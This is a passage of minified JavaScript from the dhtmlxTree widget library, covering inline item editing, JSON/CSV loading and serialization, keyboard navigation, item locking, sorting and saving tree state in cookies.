g=true;if(!l){g=this.callEvent(\"onEdit\",[2,this._editCell.id,this,this._editCell.span.childNodes[0].value])}else{g=false;this.callEvent(\"onEditCancel\",[this._editCell.id,this._editCell._oldValue])}if(g===true){g=this._editCell.span.childNodes[0].value}else{if(g===false){g=this._editCell._oldValue}}var h=(g!=this._editCell._oldValue);this._editCell.span.innerHTML=g;this._editCell.label=this._editCell.span.innerHTML;var e=this._editCell.i_sel?\"selectedTreeRow\":\"standartTreeRow\";this._editCell.span.className=e;this._editCell.span.parentNode.className=\"standartTreeRow\";this._editCell.span.style.paddingRight=this._editCell.span.style.paddingLeft=\"5px\";this._editCell.span.onclick=this._editCell.span.ondblclick=function(){};var m=this._editCell.id;if(this.childCalc){this._fixChildCountLabel(this._editCell)}this._editCell=null;if(!l){this.callEvent(\"onEdit\",[3,m,this,h])}if(this._enblkbrd){this.parentObject.lastChild.focus();this.parentObject.lastChild.focus()}}}};dhtmlXTreeObject.prototype._stopEditItem=function(c,a){this._stopEdit(c)};dhtmlXTreeObject.prototype.stopEdit=function(a){if(this._editCell){this._stopEdit(this._editCell.id+\"_non\",a)}};dhtmlXTreeObject.prototype.editItem=function(a){this._editItem(a,this)};dhtmlXTreeObject.prototype._editItem=function(h,a){if(this._eItEd){this._stopEdit();var e=this._globalIdStorageFind(h);if(!e){return}var g=this.callEvent(\"onEdit\",[0,h,this,e.span.innerHTML]);if(g===true){g=(typeof e.span.innerText!=\"undefined\"?e.span.innerText:e.span.textContent)}else{if(g===false){return}}this.dADTempOffEd=this.dADTempOff;this.dADTempOff=false;this._editCell=e;e._oldValue=g;e.span.innerHTML=\"<input type='text' class='intreeeditRow' />\";e.span.style.paddingRight=e.span.style.paddingLeft=\"0px\";e.span.onclick=e.span.ondblclick=function(l){(l||event).cancelBubble=true};e.span.childNodes[0].value=g;e.span.childNodes[0].onselectstart=function(l){(l||event).cancelBubble=true;return true};e.span.childNodes[0].onmousedown=function(l){(l||event).cancelBubble=true;return true};e.span.childNodes[0].focus();e.span.childNodes[0].focus();e.span.onclick=function(l){(l||event).cancelBubble=true;return false};e.span.className=\"\";e.span.parentNode.className=\"\";var c=this;e.span.childNodes[0].onkeydown=function(l){if(!l){l=window.event}if(l.keyCode==13){l.cancelBubble=true;c._stopEdit(window.undefined)}else{if(l.keyCode==27){c._stopEdit(window.undefined,true)}}(l||event).cancelBubble=true};this.callEvent(\"onEdit\",[1,h,this])}};function jsonPointer(c,a){this.d=c;this.dp=a}jsonPointer.prototype={text:function(){var a=function(h){var g=[];for(var e=0;e<h.length;e++){g.push(\"{\"+c(h[e])+\"}\")}return g.join(\",\")};var c=function(h){var g=[];for(var e in h){if(typeof(h[e])==\"object\"){if(e.length){g.push('\"'+e+'\":['+a(h[e])+\"]\")}else{g.push('\"'+e+'\":{'+c(h[e])+\"}\")}}else{g.push('\"'+e+'\":\"'+h[e]+'\"')}}return g.join(\",\")};return\"{\"+c(this.d)+\"}\"},get:function(a){return this.d[a]},exists:function(){return !!this.d},content:function(){return this.d.content},each:function(g,m,l){var e=this.d[g];var n=new jsonPointer();if(e){for(var h=0;h<e.length;h++){n.d=e[h];m.apply(l,[n,h])}}},get_all:function(){return this.d},sub:function(a){return new jsonPointer(this.d[a],this.d)},sub_exists:function(a){return !!this.d[a]},each_x:function(g,n,m,l,h){var e=this.d[g];var o=new jsonPointer(0,this.d);if(e){for(h=h||0;h<e.length;h++){if(e[h][n]){o.d=e[h];if(m.apply(l,[o,h])==-1){return}}}}},up:function(a){return new jsonPointer(this.dp,this.d)},set:function(a,c){this.d[a]=c},clone:function(a){return new jsonPointer(this.d,this.dp)},through:function(e,m,q,h,r){var n=this.d[e];if(n.length){for(var g=0;g<n.length;g++){if(n[g][m]!=null&&n[g][m]!=\"\"&&(!q||n[g][m]==q)){var l=new jsonPointer(n[g],this.d);h.apply(r,[l,g])}var o=this.d;this.d=n[g];if(this.sub_exists(e)){this.through(e,m,q,h,r)}this.d=o}}}};dhtmlXTreeObject.prototype.loadJSArrayFile=function(file,callback){if(!this.parsCount){this.callEvent(\"onXLS\",[this,this._ld_id])}this._ld_id=null;this.xmlstate=1;var that=this;this.XMLLoader=function(xml,callback){eval(\"var z=\"+xml.responseText);this.loadJSArray(z);if(callback){callback.call(this,xml)}};dhx4.ajax.get(file,function(obj){that.XMLLoader(obj.xmlDoc,callback)})};dhtmlXTreeObject.prototype.loadCSV=function(a,e){if(!this.parsCount){this.callEvent(\"onXLS\",[this,this._ld_id])}this._ld_id=null;this.xmlstate=1;var c=this;this.XMLLoader=function(g,h){this.loadCSVString(g.responseText);if(h){h.call(this,g)}};dhx4.ajax.get(a,function(g){c.XMLLoader(g.xmlDoc,e)})};dhtmlXTreeObject.prototype.loadJSArray=function(a,g){var l=[];for(var c=0;c<a.length;c++){if(!l[a[c][1]]){l[a[c][1]]=[]}l[a[c][1]].push({id:a[c][0],text:a[c][2]})}var h={id:this.rootId};var e=function(o,n){if(l[o.id]){o.item=l[o.id];for(var m=0;m<o.item.length;m++){n(o.item[m],n)}}};e(h,e);this.loadJSONObject(h,g)};dhtmlXTreeObject.prototype.loadCSVString=function(a,l){var n=[];var c=a.split(\"\\n\");for(var g=0;g<c.length;g++){var e=c[g].split(\",\");if(!n[e[1]]){n[e[1]]=[]}n[e[1]].push({id:e[0],text:e[2]})}var m={id:this.rootId};var h=function(r,q){if(n[r.id]){r.item=n[r.id];for(var o=0;o<r.item.length;o++){q(r.item[o],q)}}};h(m,h);this.loadJSONObject(m,l)};dhtmlXTreeObject.prototype.loadJSONObject=function(a,c){if(!this.parsCount){this.callEvent(\"onXLS\",[this,null])}this.xmlstate=1;var e=new jsonPointer(a);this._parse(e);this._p=e;if(c){c()}};dhtmlXTreeObject.prototype.loadJSON=function(file,callback){if(!this.parsCount){this.callEvent(\"onXLS\",[this,this._ld_id])}this._ld_id=null;this.xmlstate=1;var that=this;this.XMLLoader=function(xml,callback){try{eval(\"var t=\"+xml.responseText)}catch(e){dhx4.callEvent(\"onLoadXMLerror\",[\"Incorrect JSON\",(xml),this]);return}var p=new jsonPointer(t);this._parse(p);this._p=p;if(callback){callback.call(this,xml)}};dhx4.ajax.get(file,function(obj){that.XMLLoader(obj.xmlDoc,callback)})};dhtmlXTreeObject.prototype.serializeTreeToJSON=function(){var a=['{\"id\":\"'+this.rootId+'\", \"item\":['];var e=[];for(var c=0;c<this.htmlNode.childsCount;c++){e.push(this._serializeItemJSON(this.htmlNode.childNodes[c]))}a.push(e.join(\",\"));a.push(\"]}\");return a.join(\"\")};dhtmlXTreeObject.prototype._serializeItemJSON=function(m){var a=[];if(m.unParsed){return(m.unParsed.text())}if(this._selected.length){var e=this._selected[0].id}else{e=\"\"}var l=m.span.innerHTML;l=l.replace(/\\\"/g,'\\\\\"',l);if(!this._xfullXML){a.push('{ \"id\":\"'+m.id+'\", '+(this._getOpenState(m)==1?' \"open\":\"1\", ':\"\")+(e==m.id?' \"select\":\"1\",':\"\")+' \"text\":\"'+l+'\"'+(((this.XMLsource)&&(m.XMLload==0))?', \"child\":\"1\" ':\"\"))}else{a.push('{ \"id\":\"'+m.id+'\", '+(this._getOpenState(m)==1?' \"open\":\"1\", ':\"\")+(e==m.id?' \"select\":\"1\",':\"\")+' \"text\":\"'+l+'\", \"im0\":\"'+m.images[0]+'\", \"im1\":\"'+m.images[1]+'\", \"im2\":\"'+m.images[2]+'\" '+(m.acolor?(', \"aCol\":\"'+m.acolor+'\" '):\"\")+(m.scolor?(', \"sCol\":\"'+m.scolor+'\" '):\"\")+(m.checkstate==1?', \"checked\":\"1\" ':(m.checkstate==2?', \"checked\":\"-1\"':\"\"))+(m.closeable?', \"closeable\":\"1\" ':\"\")+(((this.XMLsource)&&(m.XMLload==0))?', \"child\":\"1\" ':\"\"))}if((this._xuserData)&&(m._userdatalist)){a.push(', \"userdata\":[');var h=m._userdatalist.split(\",\");var g=[];for(var c=0;c<h.length;c++){g.push('{ \"name\":\"'+h[c]+'\" , \"content\":\"'+m.userData[\"t_\"+h[c]]+'\" }')}a.push(g.join(\",\"));a.push(\"]\")}if(m.childsCount){a.push(', \"item\":[');var g=[];for(var c=0;c<m.childsCount;c++){g.push(this._serializeItemJSON(m.childNodes[c]))}a.push(g.join(\",\"));a.push(\"]\\n\")}a.push(\"}\\n\");return a.join(\"\")};function dhtmlXTreeFromHTML(obj){if(typeof(obj)!=\"object\"){obj=document.getElementById(obj)}var n=obj;var id=n.id;var cont=\"\";for(var j=0;j<obj.childNodes.length;j++){if(obj.childNodes[j].nodeType==\"1\"){if(obj.childNodes[j].tagName==\"XMP\"){var cHead=obj.childNodes[j];for(var m=0;m<cHead.childNodes.length;m++){cont+=cHead.childNodes[m].data}}else{if(obj.childNodes[j].tagName.toLowerCase()==\"ul\"){cont=dhx_li2trees(obj.childNodes[j],new Array(),0)}}break}}obj.innerHTML=\"\";var t=new dhtmlXTreeObject(obj,\"100%\",\"100%\",0);var z_all=new Array();for(b in t){z_all[b.toLowerCase()]=b}var atr=obj.attributes;for(var a=0;a<atr.length;a++){if((atr[a].name.indexOf(\"set\")==0)||(atr[a].name.indexOf(\"enable\")==0)){var an=atr[a].name;if(!t[an]){an=z_all[atr[a].name]}t[an].apply(t,atr[a].value.split(\",\"))}}if(typeof(cont)==\"object\"){t.XMLloadingWarning=1;for(var i=0;i<cont.length;i++){var n=t.insertNewItem(cont[i][0],cont[i][3],cont[i][1]);if(cont[i][2]){t._setCheck(n,cont[i][2])}}t.XMLloadingWarning=0;t.lastLoadedXMLId=0;t._redrawFrom(t)}else{t.loadXMLString(\"<tree id='0'>\"+cont+\"</tree>\")}window[id]=t;var oninit=obj.getAttribute(\"oninit\");if(oninit){eval(oninit)}return t}function dhx_init_trees(){var c=document.getElementsByTagName(\"div\");for(var a=0;a<c.length;a++){if(c[a].className==\"dhtmlxTree\"){dhtmlXTreeFromHTML(c[a])}}}function dhx_li2trees(r,l,e){for(var m=0;m<r.childNodes.length;m++){var q=r.childNodes[m];if((q.nodeType==1)&&(q.tagName.toLowerCase()==\"li\")){var o=\"\";var n=null;var a=q.getAttribute(\"checked\");for(var h=0;h<q.childNodes.length;h++){var g=q.childNodes[h];if(g.nodeType==3){o+=g.data}else{if(g.tagName.toLowerCase()!=\"ul\"){o+=dhx_outer_html(g)}else{n=g}}}l[l.length]=[e,o,a,(q.id||(l.length+1))];if(n){l=dhx_li2trees(n,l,(q.id||l.length))}}}return l}function dhx_outer_html(c){if(c.outerHTML){return c.outerHTML}var a=document.createElement(\"DIV\");a.appendChild(c.cloneNode(true));a=a.innerHTML;return a}if(window.addEventListener){window.addEventListener(\"load\",dhx_init_trees,false)}else{if(window.attachEvent){window.attachEvent(\"onload\",dhx_init_trees)}}dhtmlXTreeObject.prototype.parserExtension={_parseExtension:function(g,c,e){this._idpull[c.id]._attrs=c}};dhtmlXTreeObject.prototype.getAttribute=function(e,a){this._globalIdStorageFind(e);var c=this._idpull[e]._attrs;return c?c[a]:window.undefined};dhtmlXTreeObject.prototype.setAttribute=function(g,a,e){this._globalIdStorageFind(g);var c=(this._idpull[g]._attrs)||{};c[a]=e;this._idpull[g]._attrs=c};dhtmlXTreeObject.prototype.enableKeyboardNavigation=function(e){this._enblkbrd=dhx4.s2b(e);if(this._enblkbrd){if(_isFF){var c=window.getComputedStyle(this.parentObject,null)[\"position\"];if((c!=\"absolute\")&&(c!=\"relative\")){this.parentObject.style.position=\"relative\"}}this._navKeys=[[\"up\",38],[\"down\",40],[\"open\",39],[\"close\",37],[\"call\",13],[\"edit\",113]];var a=this;var c=document.createElement(\"INPUT\");c.className=\"a_dhx_hidden_input\";c.autocomplete=\"off\";if(window._KHTMLrv){c.style.color=\"white\"}this.parentObject.appendChild(c);this.parentObject[_isOpera?\"onkeypress\":\"onkeydown\"]=function(g){if(a.callEvent(\"onKeyPress\",[(g||window.event).keyCode,(g||window.event)])){return a._onKeyDown(g||window.event)}};this.parentObject.onclick=function(g){if(_isFF||_isIE){c.select()}if(window._KHTMLrv||_isOpera){c.focus()}}}else{this.parentObject.onkeydown=null}};dhtmlXTreeObject.prototype._onKeyDown=function(g){if(window.globalActiveDHTMLGridObject&&globalActiveDHTMLGridObject.isActive){return true}var a=this;for(var c=0;c<this._navKeys.length;c++){if(this._navKeys[c][1]==g.keyCode){this[\"_onkey_\"+this._navKeys[c][0]].apply(this,[this.getSelectedItemId()]);if(g.preventDefault){g.preventDefault()}(g||event).cancelBubble=true;return false}}if(this._textSearch){return this._searchItemByKey(g)}return true};dhtmlXTreeObject.prototype._onkey_up=function(e){var a=this._globalIdStorageFind(e);if(!a){return}var c=this._getPrevVisibleNode(a);if(c.id==this.rootId){return}this.focusItem(c.id);this.selectItem(c.id,false)};dhtmlXTreeObject.prototype._onkey_down=function(e){var a=this._globalIdStorageFind(e);if(!a){return}var c=this._getNextVisibleNode(a);if(c.id==this.rootId){return}this.focusItem(c.id);this.selectItem(c.id,false)};dhtmlXTreeObject.prototype._onkey_open=function(a){this.openItem(a)};dhtmlXTreeObject.prototype._onkey_close=function(a){this.closeItem(a)};dhtmlXTreeObject.prototype._onkey_call=function(a){if(this.stopEdit){this.stopEdit();this.parentObject.lastChild.focus();this.parentObject.lastChild.focus();this.selectItem(a,true)}else{this.selectItem(this.getSelectedItemId(),true)}};dhtmlXTreeObject.prototype._onkey_edit=function(a){if(this.editItem){this.editItem(a)}};dhtmlXTreeObject.prototype._getNextVisibleNode=function(a,c){if((!c)&&(this._getOpenState(a)>0)){return a.childNodes[0]}if((a.tr)&&(a.tr.nextSibling)&&(a.tr.nextSibling.nodem)){return a.tr.nextSibling.nodem}if(a.parentObject){return this._getNextVisibleNode(a.parentObject,1)}return a};dhtmlXTreeObject.prototype._getPrevVisibleNode=function(a){if((a.tr)&&(a.tr.previousSibling)&&(a.tr.previousSibling.nodem)){return this._lastVisibleChild(a.tr.previousSibling.nodem)}if(a.parentObject){return a.parentObject}else{return a}};dhtmlXTreeObject.prototype._lastVisibleChild=function(a){if(this._getOpenState(a)>0){return this._lastVisibleChild(a.childNodes[a.childsCount-1])}else{return a}};dhtmlXTreeObject.prototype._searchItemByKey=function(c){if(c.keyCode==8){this._textSearchString=\"\";return true}var a=String.fromCharCode(c.keyCode).toUpperCase();if(a.match(/[A-Z,a-z,0-9\\ ]/)){this._textSearchString+=a;this._textSearchInProgress=true;if(!(this.getSelectedItemText()||\"\").match(RegExp(\"^\"+this._textSearchString,\"i\"))){this.findItem(this._textSearchString,0)}this._textSearchInProgress=false;if(c.preventDefault){c.preventDefault()}(c||event).cancelBubble=true;return false}return true};dhtmlXTreeObject.prototype.assignKeys=function(a){this._navKeys=a};dhtmlXTreeObject.prototype.enableKeySearch=function(c){this._textSearch=dhx4.s2b(c);if(!this._textSearch){return}this._textSearchString=\"\";var a=this;this._markItem2=this._markItem;this._markItem=function(e){if(!a._textSearchInProgress){a._textSearchString=\"\"}a._markItem2(e)}};dhtmlXTreeObject.prototype.enableLoadingItem=function(a){this.attachEvent(\"onXLS\",this._showFakeItem);this.attachEvent(\"onXLE\",this._hideFakeItem);this._tfi_text=a||\"Loading...\"};dhtmlXTreeObject.prototype._showFakeItem=function(a,e){if((e===null)||(this._globalIdStorageFind(\"fake_load_xml_\"+e))){return}var c=this.XMLsource;this.XMLsource=null;this.insertNewItem(e,\"fake_load_xml_\"+e,this._tfi_text);this.XMLsource=c};dhtmlXTreeObject.prototype._hideFakeItem=function(a,c){if(c===null){return}this.deleteItem(\"fake_load_xml_\"+c)};dhtmlXTreeObject.prototype.isLocked=function(a){if(!this._locker){this._init_lock()}return(this._locker[a]==true)};dhtmlXTreeObject.prototype._lockItem=function(a,h,c){if(!this._locker){this._init_lock()}if(h){if(this._locker[a.id]==true){return}this._locker[a.id]=true;a.bIm0=a.images[0];a.bIm1=a.images[1];a.bIm2=a.images[2];a.images[0]=this.lico0;a.images[1]=this.lico1;a.images[2]=this.lico2;var g=a.span.parentNode;var e=g.previousSibling;this.dragger.removeDraggableItem(g);this.dragger.removeDraggableItem(e)}else{if(this._locker[a.id]!=true){return}this._locker[a.id]=false;a.images[0]=a.bIm0;a.images[1]=a.bIm1;a.images[2]=a.bIm2;var g=a.span.parentNode;var e=g.previousSibling;this.dragger.addDraggableItem(g,this);this.dragger.addDraggableItem(e,this)}if(!c){this._correctPlus(a)}};dhtmlXTreeObject.prototype.lockItem=function(e,c){if(!this._locker){this._init_lock()}this._lockOn=false;var a=this._globalIdStorageFind(e);this._lockOn=true;this._lockItem(a,dhx4.s2b(c))};dhtmlXTreeObject.prototype.setLockedIcons=function(e,c,a){if(!this._locker){this._init_lock()}this.lico0=e;this.lico1=c;this.lico2=a};dhtmlXTreeObject.prototype._init_lock=function(){this._locker=new Array();this._locker_count=\"0\";this._lockOn=true;this._globalIdStorageFindA=this._globalIdStorageFind;this._globalIdStorageFind=this._lockIdFind;if(this._serializeItem){this._serializeItemA=this._serializeItem;this._serializeItem=this._serializeLockItem;this._serializeTreeA=this.serializeTree;this.serializeTree=this._serializeLockTree}this.setLockedIcons(this.imageArray[0],this.imageArray[1],this.imageArray[2])};dhtmlXTreeObject.prototype._lockIdFind=function(e,a,c){if(!this.skipLock){if((!c)&&(this._lockOn==true)&&(this._locker[e]==true)){return null}}return this._globalIdStorageFindA(e,a,c)};dhtmlXTreeObject.prototype._serializeLockItem=function(a){if(this._locker[a.id]==true){return\"\"}return this._serializeItemA(a)};dhtmlXTreeObject.prototype._serializeLockTree=function(){var a=this._serializeTreeA();return a.replace(/<item[^>]+locked\\=\\\"1\\\"[^>]+\\/>/g,\"\")};dhtmlXTreeObject.prototype._moveNodeToA=dhtmlXTreeObject.prototype._moveNodeTo;dhtmlXTreeObject.prototype._moveNodeTo=function(a,e,c){if((e.treeNod.isLocked)&&(e.treeNod.isLocked(e.id))){return false}return this._moveNodeToA(a,e,c)};dhtmlXTreeObject.prototype.lockTree=function(a){if(dhx4.s2b(a)){this._initTreeLocker()}else{if(this._TreeLocker){this._TreeLocker.parentNode.removeChild(this._TreeLocker);this._TreeLocker=null}}};dhtmlXTreeObject.prototype._initTreeLocker=function(a){if(this._TreeLocker){return}this.parentObject.style.overflow=\"hidden\";if(this.parentObject.style.position!=\"absolute\"){this.parentObject.style.position=\"relative\"}var c=document.createElement(\"div\");c.style.position=\"absolute\";c.style.left=\"0px\";c.style.top=\"0px\";c.className=\"dhx_tree_opacity\";c.style.width=this.allTree.offsetWidth+\"px\";c.style.backgroundColor=\"#FFFFFF\";c.style.height=this.allTree.offsetHeight+\"px\";this._TreeLocker=c;this.parentObject.appendChild(this._TreeLocker)};dhtmlXTreeObject.prototype.enableRTL=function(c){var a=dhx4.s2b(c);if(((a)&&(!this.rtlMode))||((!a)&&(this.rtlMode))){this.rtlMode=a;this._switchToRTL(this.rtlMode)}};dhtmlXTreeObject.prototype._switchToRTL=function(a){if(a){this.allTree.className=this._ltr_line=this.lineArray;this._ltr_min=this.minusArray;this._ltr_plus=this.plusArray;this.lineArray=new Array(\"line2_rtl.gif\",\"line3_rtl.gif\",\"line4_rtl.gif\",\"blank.gif\",\"blank.gif\",\"line1_rtl.gif\");this.minusArray=new Array(\"minus2_rtl.gif\",\"minus3_rtl.gif\",\"minus4_rtl.gif\",\"minus.gif\",\"minus5_rtl.gif\");this.plusArray=new Array(\"plus2_rtl.gif\",\"plus3_rtl.gif\",\"plus4_rtl.gif\",\"plus.gif\",\"plus5_rtl.gif\");this.allTree.className=\"containerTableStyleRTL\"}else{this.allTree.className=\"containerTableStyle\";this.lineArray=this._ltr_line;this.minusArray=this._ltr_min;this.plusArray=this._ltr_plus}if(this.htmlNode.childsCount){this._redrawFrom(this,this.htmlNode)}};dhtmlXTreeObject.prototype.sortTree=function(g,c,e){var a=this._globalIdStorageFind(g);if(!a){return false}this._reorderBranch(a,(c.toString().toLowerCase()==\"asc\"),dhx4.s2b(e))};dhtmlXTreeObject.prototype.setCustomSortFunction=function(a){this._csfunca=a};dhtmlXTreeObject.prototype._reorderBranch=function(n,c,o){var a=[];var l=n.childsCount;if(!l){return}var h=n.childNodes[0].tr.parentNode;for(var g=0;g<l;g++){a[g]=n.childNodes[g];h.removeChild(a[g].tr)}var e=this;if(c==1){if(this._csfunca){a.sort(function(q,m){return e._csfunca(q.id,m.id)})}else{a.sort(function(q,m){return((q.span.innerHTML.toUpperCase()>m.span.innerHTML.toUpperCase())?1:((q.span.innerHTML.toUpperCase()==m.span.innerHTML.toUpperCase())?0:-1))})}}else{if(this._csfunca){a.sort(function(q,m){return e._csfunca(m.id,q.id)})}else{a.sort(function(q,m){return((q.span.innerHTML.toUpperCase()<m.span.innerHTML.toUpperCase())?1:((q.span.innerHTML.toUpperCase()==m.span.innerHTML.toUpperCase())?0:-1))})}}for(var g=0;g<l;g++){h.appendChild(a[g].tr);n.childNodes[g]=a[g];if((o)&&(a[g].unParsed)){a[g].unParsed.set(\"order\",c?1:-1)}else{if((o)&&(a[g].childsCount)){this._reorderBranch(a[g],c,o)}}}for(var g=0;g<l;g++){this._correctPlus(a[g]);this._correctLine(a[g])}};dhtmlXTreeObject.prototype._reorderXMLBranch=function(l){var n=l.getAttribute(\"order\");if(n==\"none\"){return}var c=(n==1);var h=l.childNodes.length;if(!h){return}var a=new Array();var e=0;for(var g=0;g<h;g++){if(l.childNodes[g].nodeType==1){a[e]=l.childNodes[g];e++}}for(var g=h-1;g!=0;g--){l.removeChild(l.childNodes[g])}if(c){a.sort(function(o,m){return((o.getAttribute(\"text\")>m.getAttribute(\"text\"))?1:((o.getAttribute(\"text\")==m.getAttribute(\"text\"))?0:-1))})}else{a.sort(function(o,m){return((o.getAttribute(\"text\")<m.getAttribute(\"text\"))?1:((o.getAttribute(\"text\")==m.getAttribute(\"text\"))?0:-1))})}for(var g=0;g<e;g++){a[g].setAttribute(\"order\",n);l.appendChild(a[g])}l.setAttribute(\"order\",\"none\")};dhtmlXTreeObject.prototype._serEnts=[[\"&\",\"&amp;\"],[\"<\",\"&lt;\"],[\">\",\"&gt;\"]];dhtmlXTreeObject.prototype.registerXMLEntity=function(a,c){this._serEnts[this._serEnts.length]=[a,c,new RegExp(a,\"g\")]};dhtmlXTreeObject.prototype.setSerializationLevel=function(a,c,h,l,e){this._xuserData=dhx4.s2b(a);this._xfullXML=dhx4.s2b(c);this._dtd=e;this._xescapeEntities=dhx4.s2b(h);if(dhx4.s2b(l)){this._apreUC=\"<![CDATA[\";this._apstUC=\"]]>\"}else{}for(var g=0;g<this._serEnts.length;g++){this._serEnts[g][2]=new RegExp(this._serEnts[g][0],\"g\")}};dhtmlXTreeObject.prototype.serializeTree=function(){if(this.stopEdit){this.stopEdit()}this._apreUC=this._apreUC||\"\";this._apstUC=this._apstUC||\"\";var a='<?xml version=\"1.0\"?>';if(this._dtd){a+='<!DOCTYPE tree SYSTEM \"'+this._dtd+'\">'}a+='<tree id=\"'+this.rootId+'\">';if((this._xuserData)&&(this._idpull[this.rootId]._userdatalist)){var e=this._idpull[this.rootId]._userdatalist.split(\",\");for(var c=0;c<e.length;c++){a+='<userdata name=\"'+e[c]+'\">'+this._apreUC+this._idpull[this.rootId].userData[\"t_\"+e[c]]+this._apstUC+\"</userdata>\"}}for(var c=0;c<this.htmlNode.childsCount;c++){a+=this._serializeItem(this.htmlNode.childNodes[c])}a+=\"</tree>\";return a};dhtmlXTreeObject.prototype._serializeItem=function(m){if(m.unParsed){if(document.all){return m.unParsed.d.xml}else{var a=new XMLSerializer();return a.serializeToString(m.unParsed.d)}}var c=\"\";if(this._selected.length){var g=this._selected[0].id}else{g='\"'}var l=m.span.innerHTML;if(this._xescapeEntities){for(var e=0;e<this._serEnts.length;e++){l=l.replace(this._serEnts[e][2],this._serEnts[e][1])}}if(!this._xfullXML){c='<item id=\"'+m.id+'\" '+(this._getOpenState(m)==1?' open=\"1\" ':\"\")+(g==m.id?' select=\"1\"':\"\")+' text=\"'+l+'\"'+(((this.XMLsource)&&(m.XMLload==0))?' child=\"1\" ':\"\")+\">\"}else{c='<item id=\"'+m.id+'\" '+(this._getOpenState(m)==1?' open=\"1\" ':\"\")+(g==m.id?' select=\"1\"':\"\")+' text=\"'+l+'\" im0=\"'+m.images[0]+'\" im1=\"'+m.images[1]+'\" im2=\"'+m.images[2]+'\" '+(m.acolor?('aCol=\"'+m.acolor+'\" '):\"\")+(m.scolor?('sCol=\"'+m.scolor+'\" '):\"\")+(m.checkstate==1?'checked=\"1\" ':(m.checkstate==2?'checked=\"-1\"':\"\"))+(m.closeable?'closeable=\"1\" ':\"\")+(((this.XMLsource)&&(m.XMLload==0))?' child=\"1\" ':\"\")+\">\"}if((this._xuserData)&&(m._userdatalist)){var h=m._userdatalist.split(\",\");for(var e=0;e<h.length;e++){c+='<userdata name=\"'+h[e]+'\">'+this._apreUC+m.userData[\"t_\"+h[e]]+this._apstUC+\"</userdata>\"}}for(var e=0;e<m.childsCount;e++){c+=this._serializeItem(m.childNodes[e])}c+=\"</item>\";return c};dhtmlXTreeObject.prototype.saveSelectedItem=function(c,a){c=c||\"\";this.setCookie(\"treeStateSelected\"+c,this.getSelectedItemId(),a)};dhtmlXTreeObject.prototype.restoreSelectedItem=function(a){a=a||\"\";var c=this.getCookie(\"treeStateSelected\"+a);this.selectItem(c,false)};dhtmlXTreeObject.prototype.enableAutoSavingSelected=function(a,c){this.assMode=dhx4.s2b(a);if((this.assMode)&&(!this.oldOnSelect)){this.oldOnSelect=this.onRowSelect;this.onRowSelect=function(h,g,l){if(!g){g=this}g.parentObject.treeNod.oldOnSelect(h,g,l);if(g.parentObject.treeNod.assMode){g.parentObject.treeNod.saveSelectedItem(g.parentObject.treeNod.assCookieName)}}}this.assCookieName=c};dhtmlXTreeObject.prototype.saveState=function(e,c){var h=this._escape(this.serializeTree());var a=4000;if(h.length>a){if(navigator.appName.indexOf(\"Microsoft\")!=-1){return false}this.setCookie(\"treeStatex\"+e,Math.ceil(h.length/a));for(var g=0;g<Math.ceil(h.length/a);g++){this.setCookie(\"treeStatex\"+e+\"x\"+g,h.substr(g*a,a),c)}}else{this.setCookie(\"treeStatex\"+e,h,c)}var h=this.getCookie(\"treeStatex\"+e);if(!h){this.setCookie(\"treeStatex\"+e,\"\",c);return false}return true};dhtmlXTreeObject.prototype.loadState=function(a){var g=this.getCookie(\"treeStatex\"+a);if(!g){return false}if(g.length){if(g.toString().length<4){var e=\"\";for(var c=0;c<g;c++){e+=this.getCookie(\"treeStatex\"+a+\"x\"+c)}g=e}this.loadXMLString((this.utfesc==\"utf8\")?decodeURI(g):unescape(g))}return true};dhtmlXTreeObject.prototype.setCookie=function(c,e,a){var g=c+\"=\"+e+(a?(\"; \"+a):\"\");document.cookie=g};dhtmlXTreeObject.prototype.getCookie=function(c){var e=c+\"=\";if(document.cookie.length>0){var g=document.cookie.indexOf(e);if(g!=-1){g+=e.length;var a=document.cookie.indexOf(\";\",g);if(a==-1){a=document.cookie.length}return document.cookie.substring(g,a)}}};dhtmlXTreeObject.prototype.saveOpenStates=function(c,a){var g=[];for(var e=0;e<this.htmlNode.childsCount;e++){g=g.concat(this._collectOpenStates(this.htmlNode.childNodes[e]))}g=g.join(this.dlmtr);this.setCookie(\"treeOpenStatex\"+c,g,a)};dhtmlXTreeObject.prototype.loadOpenStates=function(c){for(var e=0;e<this.htmlNode.childsCount;e++){this._xcloseAll(this.htmlNode.childNodes[e])}this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\";var h=getCookie(\"treeOpenStatex\"+c);if(h){var a=h.split(this.dlmtr);for(var e=0;e<a.length;e++){var g=this._globalIdStorageFind(a[e]);if(g){if((this.XMLsource)&&(!g.XMLload)&&(g.id!=this.rootId)){this._delayedLoad(g,\"loadOpenStates('\"+c+\"')\");return}else{this.openItem(a[e])}}}}this.callEvent(\"onAllOpenDynamic\",[])};dhtmlXTreeObject.prototype._delayedLoad=function(c,a){this.afterLoadMethod=a;this.onLoadReserve=this.onXLE;this.onXLE=this._delayedLoadStep2;this._loadDynXML(c.id)};dhtmlXTreeObject.prototype._delayedLoadStep2=function(tree){tree.onXLE=tree.onLoadReserve;window.setTimeout(function(){dhtmlx.temp=tree;eval(\"dhtmlx.temp.\"+tree.afterLoadMethod)},100);if(tree.onXLE){tree.onXLE(tree)}tree.callEvent(\"onXLE\",[tree])};dhtmlXTreeObject.prototype._collectOpenStates=function(c){var e=[];if(this._getOpenState(c)==1){e.push(c.id);for(var a=0;a<c.childsCount;a++){e=e.concat(this._collectOpenStates(c.childNodes[a]))}}return e};function setCookie(a,c){document.cookie=a+\"=\"+c}function getCookie(c){var e=c+\"=\";if(document.cookie.length>0){var g=document.cookie.indexOf(e);if(g!=-1){g+=e.length;var a=document.cookie.indexOf(\";\",g);if(a==-1){a=document.cookie.length}return(document.cookie.substring(g,a))}}}dhtmlXTreeObject.prototype.openAllItemsDynamic=function(a){this.ClosedElem=new Array();this.G_node=null;var c=this._globalIdStorageFind(a||this.rootId);if(c.id!=this.rootId&&this.getOpenState(c.id)!=0){this.openItem(a)}this._openAllNodeChilds(c,0);if(this.ClosedElem.length>0){this.onLoadReserve=this.onXLE;this.onXLE=this._loadAndOpen;this._loadAndOpen(this)}};dhtmlXTreeObject.prototype._openAllNodeChilds=function(c){if((c.XMLload==0)||(c.unParsed)){this.ClosedElem.push(c)}for(var 